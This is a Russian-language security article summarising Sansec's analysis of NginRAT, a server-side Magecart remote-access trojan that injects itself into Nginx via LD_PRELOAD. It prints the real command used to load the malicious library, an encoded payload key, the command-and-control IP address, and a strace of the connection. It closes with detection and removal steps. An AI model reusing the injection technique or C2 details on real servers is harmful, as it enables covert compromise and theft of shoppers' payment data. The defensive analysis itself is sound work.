Новый паразит NginRAT атакует сервер Nginx, угрожая платформам eCommerce
Новый вредонос, также известный как серверный Magecart, нацелен на сервер Nginx. Его код внедряется в приложение Nginx и, отлично маскируясь, позволяет красть данные с серверов eCommerce.
На прошлой неделе исследователи из Sansec раскрыли оригинальный eCommerce-вредонос CronRAT, управляемый с сервера в Китае. В рамках эксперимента они написали собственный клиент RAT и дождались команд из поднебесной. В конечном итоге управляющий сервер запросил от их фиктивного RAT запуск другого, более продвинутого компонента малвари, который исследователи назвали NginRAT («engine-rat»).
NginRAT захватывает приложение Nginx с целью скрытия собственного присутствия. Для этого он изменяет корневую функциональность хоста Linux. Когда легитимный сервер Nginx использует эту функциональность (например, dlopen
), NginRAT внедряет себя. В результате получается троян удаленного доступа, вложенный в процесс Nginx, каких на типичном сервере eCommerce находится много. При этом зараженный Nginx выглядит аналогично всем остальным. Сможете найти отличия?
Пока что, Sansec определили присутствие экземпляров NginRAT на серверах платформ электронной коммерции в США, Германии и Франции. Хотя исследователи предполагают, что по факту заражению подверглось большее число серверов.
Технический анализ
CronRAT сообщается с управляющим сервером по адресу 47.115.46.167:443
, используя кастомные команды. Одна из них, dwn
, скачивает системную библиотеку Linux в /dev/shm/php-shared
. После этого CronRAT проинструктирован выполнять:
env LD_L1BRARY_PATH="[580 bytes]" \
LD_PRELOAD=/dev/shm/php-shared \
/usr/sbin/nginx --help --help --help --help --help --help --help --help \
--help --help --help --help --help --help --help --help --help --help --help \
--help --help --help --help --help --help --help --help --help --help --help \
--help --help --help --help --help --help --help --help --help --help --help \
--help --help --help --help --help --help --help --help --help 1>&2 &
Этот «зов о помощи» внедряет паразита NginRAT в хостовое приложение Nginx.
Что происходит здесь?
В Nginx передаются две переменные. Первая — это LD_L1BRARY_PATH
. Заметили опечатку 1
? В ней содержится ключ расшифровки для полезной нагрузки RAT:
LJMESRJVJJKTGSKRJAZTGRCGG5NEISKWJ4QDCMZAG5EFIV2CIY2UWT2FKFMVIT2VKIQDCMD4KZBVUNCDEAZSAVCTIQ3UKSKDGNFE4MSZJ5DTKRCNJAZVQWBXJVFECSRUGJDUKR2RIVIECTCDKNEFAS2HIFCVSIBSHB6FOT2CJJGFOTCOK5JUWSKDJI2FKM22LFHDKT2OLJEUYWC2KBCUSIBRHEQDETCYKBKFAQJWGI3TMT2RKM3VCWCNIJGFAVJWGRDFIQJXKQ3U6TKFK5HDIWKILBHFSRKRIEQDEN34GYZEWM2KJBHUWRCZLFLFQTSHJI3E6TBSG5KTMQ2LLI3UKN2QK5ETKTJAGIYSAVCELJHDGNBVKNCVCSKTLJLTKMZAGEYHYUJUEAYSAV2ZKBFTKUJVI5ETESSKINKUQRZWKM3DOQJTJFLUIMSBJRJVSQKCJU3VISSKIE2VUR2HIRDU6NCJEAZDTVXSVLQCAVEEAQ6JZNKIUQ7WXU25XTJOBP7IQ42E4LW6YLHDDXVB4FYRLYWTHAIGBU4CABJKWPVGTV5SRGXYI5Q4QPB3LTEPU42JUSCA
Вторая — это LD_PRELOAD
, которая относится к функционалу отладки в Linux. Разработчики с ее помощью тестируют системные библиотеки. Тем не менее ее также можно использовать для перехвата вызовов стандартных библиотек. Здесь видно, что вредоносная библиотека php-shared
перехватывает dlopen
и dlsym
, которые использует Nginx.
Как только Nginx вызывает dlopen
, NginRAT получает контроль. Он удаляет файл php-shared
, изменяет имя его процесса на nginx: worker process
, собирает информацию о системе и открывает соединение с С&С сервером по адресу 47.115.46.167
. Затем он переходит в режим ожидания команд, в котором, вероятно, может находиться недели или даже месяцы.
// Частичный strace NginRAT
uname({sysname="Linux", nodename="ubuntu-2gb-fsn1-1", ...}) = 0
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CHILD_SETTID|SIGCHLD, child_tidptr=0x7fb008b9d210) = 8949
openat(AT_FDCWD, "/proc/self/maps", O_RDONLY) = 3
getcwd("/dev/shm", 4096) = 9
readlink("/proc/self/exe", "/usr/sbin/nginx", 4096) = 15
chdir("/usr/sbin")
openat(AT_FDCWD, "/proc/self/stat", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/dev/shm/php-shared", O_RDONLY) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(443), sin_addr=inet_addr("47.115.46.167")}, 16) = ? ERESTARTSYS (To be restarted if SA_RESTART is set)
Дамп траффика начального рукопожатия NginRAT с управляющим сервером:
Как обнаружить и удалить NginRAT
Так как NginRAT встраивает себя в легитимный хост-процесс Nginx, стандартный /proc/PID/exe
будет указывать на Nginx, а не на малварь. Кроме того, код этой библиотеки никогда не записывается на диск и после запуска найти его не удастся.
Однако использование LD_L1BRARY_PATH
(с опечаткой) может раскрывать присутствие конкретно этой версии NginRAT. Для обнаружения любых активных процессов, выполните следующую команду:
$ sudo grep -al LD_L1BRARY_PATH /proc/*/environ | grep -v self/
/proc/17199/environ
/proc/25074/environ
Она покажет все скомпрометированные процессы. Убейте их с помощью kill -9 ‹PID›
. Также не забудьте выполнить анализ CronRAT, поскольку малварь наверняка засядет в ваших задачах cron
.